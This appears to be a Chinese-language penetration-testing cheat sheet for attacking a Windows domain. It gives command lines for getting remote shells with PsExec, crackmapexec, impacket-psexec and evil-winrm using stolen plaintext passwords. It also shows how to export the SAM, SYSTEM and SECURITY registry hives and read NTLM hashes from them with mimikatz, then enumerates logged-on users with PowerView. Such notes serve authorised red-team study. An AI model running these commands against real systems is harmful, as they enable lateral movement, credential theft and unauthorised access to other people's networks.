.\PsExec \\[域内主机名] -u [域\用户名] -p [明文密码] [cmd.exe/powershell] # 新弹出的窗口即为该用户权限的shell
.\PsExec -i \\[域内主机名] -u [域\用户名] -p [明文密码] [cmd.exe/powershell] # 原窗口即为该用户权限的shell

crackmapexec [smb/mssql/winrm/...] [IP] -u [用户名] -p '[密码]' -x whoami
impacket-psexec [用户名]:'[密码]'@[IP] cmd.exe
evil-winrm

通过注册表导出SAM

需要管理员权限进行导出

# 导出注册表的SAM内容为文件
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive # 这个不知道有什么作用

# mimikatz读取文件中的HTLM Hash
lsadump::sam /sam:sam.hive /system:system.hive

客户端攻击方法之二

关于域内机器用户登录

使用powerview.ps1

import-module powerview.ps1
Get-Netloggedon | select [用户名]